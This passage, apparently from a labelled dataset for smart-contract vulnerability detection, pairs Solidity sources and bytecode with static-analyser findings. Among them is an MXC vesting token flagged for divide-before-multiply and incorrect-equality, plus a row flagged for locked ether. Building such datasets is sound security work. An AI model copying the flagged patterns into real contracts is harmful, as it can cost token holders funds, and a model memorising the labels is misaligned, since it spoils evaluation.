80910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561173f57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561179b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561180757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36118bc85611c04565b5050505050565b60006118d0848484611eac565b90506118db816116e6565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561192957600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561198257600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119dc57600080fd5b600092505b600380549050831015611ac7578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611a1457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aba5783600384815481101515611a6c57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ac7565b82806001019350506119e1565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c5f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611cca57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cfa57600080fd5b611d0386610f65565b15611ea457600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611e218560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e175780601f10611dec57610100808354040283529160200191611e17565b820191906000526020600020905b815481529060010190602001808311611dfa57829003601f168201915b5050505050611ffe565b15611e5857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611ea3565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611ed557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f949291906120a5565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b81548183558181151161204c5781836000526020600020918201910161204b9190612125565b5b505050565b815481835581811511612078578183600052602060002091820191016120779190612125565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120e657805160ff1916838001178555612114565b82800160010185558215612114579182015b828111156121135782518255916020019190600101906120f8565b5b5090506121219190612125565b5090565b61214791905b8082111561214357600081600090555060010161212b565b5090565b905600a165627a7a723058203c1aa17e4c055b8192ffb68be3aa2829099597fdba15eb09d977a04b52a89b540029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,808 |
0x5ca381bbfb58f0092df149bd3d243b08b9a8386e | pragma solidity ^0.4.24;
/**
* MXC Smart Contract for Ethereum
*
* Copyright 2018 MXC Foundation
*
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards,
* i.e. clients SHOULD make sure to create user interfaces in such a way
* that they set the allowance first to 0 before setting it to another value for the same spender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MXCToken is StandardToken {
string public constant name = "MXCToken";
string public constant symbol = "MXC";
uint8 public constant decimals = 18;
uint256 constant MONTH = 3600*24*30;
struct TimeLock {
// total amount of tokens that is granted to the user
uint256 amount;
// total amount of tokens that have been vested
uint256 vestedAmount;
// total amount of vested months (tokens are vested on a monthly basis)
uint16 vestedMonths;
// token timestamp start
uint256 start;
// token timestamp release start (when user can start receive vested tokens)
uint256 cliff;
// token timestamp release end (when all the tokens can be vested)
uint256 vesting;
address from;
}
mapping(address => TimeLock) timeLocks;
event NewTokenGrant(address indexed _from, address indexed _to, uint256 _amount, uint256 _start, uint256 _cliff, uint256 _vesting);
event VestedTokenRedeemed(address indexed _to, uint256 _amount, uint256 _vestedMonths);
event GrantedTokenReturned(address indexed _from, address indexed _to, uint256 _amount);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = 2664965800 * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function vestBalanceOf(address who)
public view
returns (uint256 amount, uint256 vestedAmount, uint256 start, uint256 cliff, uint256 vesting)
{
require(who != address(0));
amount = timeLocks[who].amount;
vestedAmount = timeLocks[who].vestedAmount;
start = timeLocks[who].start;
cliff = timeLocks[who].cliff;
vesting = timeLocks[who].vesting;
}
/**
* @dev Function to grant the amount of tokens that will be vested later.
* @param _to The address which will own the tokens.
* @param _amount The amount of tokens that will be vested later.
* @param _start Token timestamp start.
* @param _cliff Token timestamp release start.
* @param _vesting Token timestamp release end.
*/
function grantToken(
address _to,
uint256 _amount,
uint256 _start,
uint256 _cliff,
uint256 _vesting
)
public
returns (bool success)
{
require(_to != address(0));
require(_amount <= balances[msg.sender], "Not enough balance to grant token.");
require(_amount > 0, "Nothing to transfer.");
require((timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount) == 0), "The previous vesting should be completed.");
require(_cliff >= _start, "_cliff must be >= _start");
require(_vesting > _start, "_vesting must be bigger than _start");
require(_vesting > _cliff, "_vesting must be bigger than _cliff");
balances[msg.sender] = balances[msg.sender].sub(_amount);
timeLocks[_to] = TimeLock(_amount, 0, 0, _start, _cliff, _vesting, msg.sender);
emit NewTokenGrant(msg.sender, _to, _amount, _start, _cliff, _vesting);
return true;
}
/**
* @dev Function to grant the amount of tokens that will be vested later.
* @param _to The address which will own the tokens.
* @param _amount The amount of tokens that will be vested later.
* @param _cliffMonths Token release start in months from now.
* @param _vestingMonths Token release end in months from now.
*/
function grantTokenStartNow(
address _to,
uint256 _amount,
uint256 _cliffMonths,
uint256 _vestingMonths
)
public
returns (bool success)
{
return grantToken(
_to,
_amount,
now,
now.add(_cliffMonths.mul(MONTH)),
now.add(_vestingMonths.mul(MONTH))
);
}
/**
* @dev Function to calculate the amount of tokens that can be vested at this moment.
* @param _to The address which will own the tokens.
* @return amount - A uint256 specifying the amount of tokens available to be vested at this moment.
* @return vestedMonths - A uint256 specifying the number of the vested months since the last vesting.
* @return curTime - A uint256 specifying the current timestamp.
*/
function calcVestableToken(address _to)
internal view
returns (uint256 amount, uint256 vestedMonths, uint256 curTime)
{
uint256 vestTotalMonths;
uint256 vestedAmount;
uint256 vestPart;
amount = 0;
vestedMonths = 0;
curTime = now;
require(timeLocks[_to].amount > 0, "Nothing was granted to this address.");
if (curTime <= timeLocks[_to].cliff) {
return (0, 0, curTime);
}
vestedMonths = curTime.sub(timeLocks[_to].start) / MONTH;
vestedMonths = vestedMonths.sub(timeLocks[_to].vestedMonths);
if (curTime >= timeLocks[_to].vesting) {
return (timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount), vestedMonths, curTime);
}
if (vestedMonths > 0) {
vestTotalMonths = timeLocks[_to].vesting.sub(timeLocks[_to].start) / MONTH;
vestPart = timeLocks[_to].amount.div(vestTotalMonths);
amount = vestedMonths.mul(vestPart);
vestedAmount = timeLocks[_to].vestedAmount.add(amount);
if (vestedAmount > timeLocks[_to].amount) {
amount = timeLocks[_to].amount.sub(timeLocks[_to].vestedAmount);
}
}
return (amount, vestedMonths, curTime);
}
/**
* @dev Function to redeem tokens that can be vested at this moment.
* @param _to The address which will own the tokens.
*/
function redeemVestableToken(address _to)
public
returns (bool success)
{
require(_to != address(0));
require(timeLocks[_to].amount > 0, "Nothing was granted to this address!");
require(timeLocks[_to].vestedAmount < timeLocks[_to].amount, "All tokens were vested!");
(uint256 amount, uint256 vestedMonths, uint256 curTime) = calcVestableToken(_to);
require(amount > 0, "Nothing to redeem now.");
TimeLock storage t = timeLocks[_to];
balances[_to] = balances[_to].add(amount);
t.vestedAmount = t.vestedAmount.add(amount);
t.vestedMonths = t.vestedMonths + uint16(vestedMonths);
t.cliff = curTime;
emit VestedTokenRedeemed(_to, amount, vestedMonths);
return true;
}
/**
* @dev Function to return granted token to the initial sender.
* @param _amount - A uint256 specifying the amount of tokens to be returned.
*/
function returnGrantedToken(uint256 _amount)
public
returns (bool success)
{
address to = timeLocks[msg.sender].from;
require(to != address(0));
require(_amount > 0, "Nothing to transfer.");
require(timeLocks[msg.sender].amount > 0, "Nothing to return.");
require(_amount <= timeLocks[msg.sender].amount.sub(timeLocks[msg.sender].vestedAmount), "Not enough granted token to return.");
timeLocks[msg.sender].amount = timeLocks[msg.sender].amount.sub(_amount);
balances[to] = balances[to].add(_amount);
emit GrantedTokenReturned(msg.sender, to, _amount);
return true;
}
} | 0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d35780632f3423b8146101fd578063313ce567146102275780633252b8fb14610252578063661884631461026a5780636631ff1d1461028e57806370a08231146102bb57806395d89b41146102dc578063a9059cbb146102f1578063ce8d096d14610315578063d73dd62314610336578063dd62ed3e1461035a578063e33d28d714610381575b600080fd5b3480156100f657600080fd5b506100ff6103cd565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a0360043516602435610404565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c161046b565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a0360043581169060243516604435610471565b34801561020957600080fd5b50610198600160a060020a03600435166024356044356064356105e8565b34801561023357600080fd5b5061023c610637565b6040805160ff9092168252519081900360200190f35b34801561025e57600080fd5b5061019860043561063c565b34801561027657600080fd5b50610198600160a060020a0360043516602435610876565b34801561029a57600080fd5b50610198600160a060020a0360043516602435604435606435608435610966565b3480156102c757600080fd5b506101c1600160a060020a0360043516610e01565b3480156102e857600080fd5b506100ff610e1c565b3480156102fd57600080fd5b50610198600160a060020a0360043516602435610e53565b34801561032157600080fd5b50610198600160a060020a0360043516610f34565b34801561034257600080fd5b50610198600160a060020a0360043516602435611195565b34801561036657600080fd5b506101c1600160a060020a036004358116906024351661122e565b34801561038d57600080fd5b506103a2600160a060020a0360043516611259565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b60408051808201909152600881527f4d5843546f6b656e000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60015490565b6000600160a060020a038316151561048857600080fd5b600160a060020a0384166000908152602081905260409020548211156104ad57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156104dd57600080fd5b600160a060020a038416600090815260208190526040902054610506908363ffffffff6112b316565b600160a060020a03808616600090815260208190526040808220939093559085168152205461053b908363ffffffff6112c516565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461057d908363ffffffff6112b316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600061062e8585426106136106068862278d0063ffffffff6112d216565b429063ffffffff6112c516565b6106296106068862278d0063ffffffff6112d216565b610966565b95945050505050565b601281565b33600090815260036020526040812060060154600160a060020a031680151561066457600080fd5b600083116106bc576040805160e560020a62461bcd02815260206004820152601460248201527f4e6f7468696e6720746f207472616e736665722e000000000000000000000000604482015290519081900360640190fd5b3360009081526003602052604081205411610721576040805160e560020a62461bcd02815260206004820152601260248201527f4e6f7468696e6720746f2072657475726e2e0000000000000000000000000000604482015290519081900360640190fd5b336000908152600360205260409020600181015490546107469163ffffffff6112b316565b8311156107c3576040805160e560020a62461bcd02815260206004820152602360248201527f4e6f7420656e6f756768206772616e74656420746f6b656e20746f207265747560448201527f726e2e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b336000908152600360205260409020546107e3908463ffffffff6112b316565b33600090815260036020908152604080832093909355600160a060020a0384168252819052205461081a908463ffffffff6112c516565b600160a060020a038216600081815260208181526040918290209390935580518681529051919233927f6a362f3f77c5bc6d1c9cd0e3d3c0f1d03c5d9e504b573c5bbb65550af73e56ec9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108cb57336000908152600260209081526040808320600160a060020a0388168452909152812055610900565b6108db818463ffffffff6112b316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a038616151561097d57600080fd5b33600090815260208190526040902054851115610a0a576040805160e560020a62461bcd02815260206004820152602260248201527f4e6f7420656e6f7567682062616c616e636520746f206772616e7420746f6b6560448201527f6e2e000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60008511610a62576040805160e560020a62461bcd02815260206004820152601460248201527f4e6f7468696e6720746f207472616e736665722e000000000000000000000000604482015290519081900360640190fd5b600160a060020a038616600090815260036020526040902060018101549054610a909163ffffffff6112b316565b15610b0b576040805160e560020a62461bcd02815260206004820152602960248201527f5468652070726576696f75732076657374696e672073686f756c64206265206360448201527f6f6d706c657465642e0000000000000000000000000000000000000000000000606482015290519081900360840190fd5b83831015610b63576040805160e560020a62461bcd02815260206004820152601860248201527f5f636c696666206d757374206265203e3d205f73746172740000000000000000604482015290519081900360640190fd5b838211610be0576040805160e560020a62461bcd02815260206004820152602360248201527f5f76657374696e67206d75737420626520626967676572207468616e205f737460448201527f6172740000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b828211610c5d576040805160e560020a62461bcd02815260206004820152602360248201527f5f76657374696e67206d75737420626520626967676572207468616e205f636c60448201527f6966660000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b33600090815260208190526040902054610c7d908663ffffffff6112b316565b60008033600160a060020a0316600160a060020a031681526020019081526020016000208190555060e06040519081016040528086815260200160008152602001600061ffff16815260200185815260200184815260200183815260200133600160a060020a03168152506003600088600160a060020a0316600160a060020a03168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548161ffff021916908361ffff160217905550606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a815481600160a060020a030219169083600160a060020a0316021790555090505085600160a060020a031633600160a060020a03167f721b00c5c94c01f0922a764275cb3532e917776ada3541cc78e867acbda3192e878787876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350600195945050505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f4d58430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610e6a57600080fd5b33600090815260208190526040902054821115610e8657600080fd5b33600090815260208190526040902054610ea6908363ffffffff6112b316565b3360009081526020819052604080822092909255600160a060020a03851681522054610ed8908363ffffffff6112c516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600080808080600160a060020a0386161515610f4f57600080fd5b600160a060020a03861660009081526003602052604081205411610fe2576040805160e560020a62461bcd028152602060048201526024808201527f4e6f7468696e6720776173206772616e74656420746f2074686973206164647260448201527f6573732100000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0386166000908152600360205260409020805460019091015410611057576040805160e560020a62461bcd02815260206004820152601760248201527f416c6c20746f6b656e7320776572652076657374656421000000000000000000604482015290519081900360640190fd5b611060866112fb565b91955093509150600084116110bf576040805160e560020a62461bcd02815260206004820152601660248201527f4e6f7468696e6720746f2072656465656d206e6f772e00000000000000000000604482015290519081900360640190fd5b50600160a060020a038516600090815260036020908152604080832091839052909120546110f3908563ffffffff6112c516565b600160a060020a0387166000908152602081905260409020556001810154611121908563ffffffff6112c516565b600182015560028101805461ffff80821686011661ffff199091161790556004810182905560408051858152602081018590528151600160a060020a038916927f77a2f91dda02d8ce9c2419cb7839699d295719a638421b588a95f884c5377b22928290030190a250600195945050505050565b336000908152600260209081526040808320600160a060020a03861684529091528120546111c9908363ffffffff6112c516565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600080808080600160a060020a038616151561127457600080fd5b50505050600160a060020a0391909116600090815260036020819052604090912080546001820154928201546004830154600590930154919593945092565b6000828211156112bf57fe5b50900390565b8181018281101561046557fe5b60008215156112e357506000610465565b508181028183828115156112f357fe5b041461046557fe5b600160a060020a038116600090815260036020526040812054819042908290819081908110611399576040805160e560020a62461bcd028152602060048201526024808201527f4e6f7468696e6720776173206772616e74656420746f2074686973206164647260448201527f6573732e00000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03871660009081526003602052604090206004015484116113c757600095508594506115a2565b600160a060020a0387166000908152600360208190526040909120015462278d00906113fa90869063ffffffff6112b316565b81151561140357fe5b600160a060020a038916600090815260036020526040902060020154919004955061143990869061ffff1663ffffffff6112b316565b600160a060020a038816600090815260036020526040902060050154909550841061149357600160a060020a03871660009081526003602052604090206001810154905461148c9163ffffffff6112b316565b95506115a2565b60008511156115a257600160a060020a03871660009081526003602081905260409091209081015460059091015462278d00916114d6919063ffffffff6112b316565b8115156114df57fe5b600160a060020a038916600090815260036020526040902054919004935061150d908463ffffffff6115ac16565b905061151f858263ffffffff6112d216565b600160a060020a03881660009081526003602052604090206001015490965061154e908763ffffffff6112c516565b600160a060020a0388166000908152600360205260409020549092508211156115a257600160a060020a03871660009081526003602052604090206001810154905461159f9163ffffffff6112b316565b95505b5050509193909250565b600081838115156115b957fe5b0493925050505600a165627a7a72305820156b96620bc6806e6f2d2f44b62996de6d965535543f139996f301186098f5a20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,809 |
0xc8a2ba3e9ce03f78551d7de5706cc275d4d3130f | interface ITokensTypeStorage {
function isRegistred(address _address) external view returns(bool);
function getType(address _address) external view returns(bytes32);
function isPermittedAddress(address _address) external view returns(bool);
function owner() external view returns(address);
function addNewTokenType(address _token, string calldata _type) external;
function setTokenTypeAsOwner(address _token, string calldata _type) external;
}
interface IYearnToken {
function token() external view returns(address);
function deposit(uint _amount) external;
function withdraw(uint _shares) external;
function getPricePerFullShare() external view returns (uint);
}
// For support new Defi protocols
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
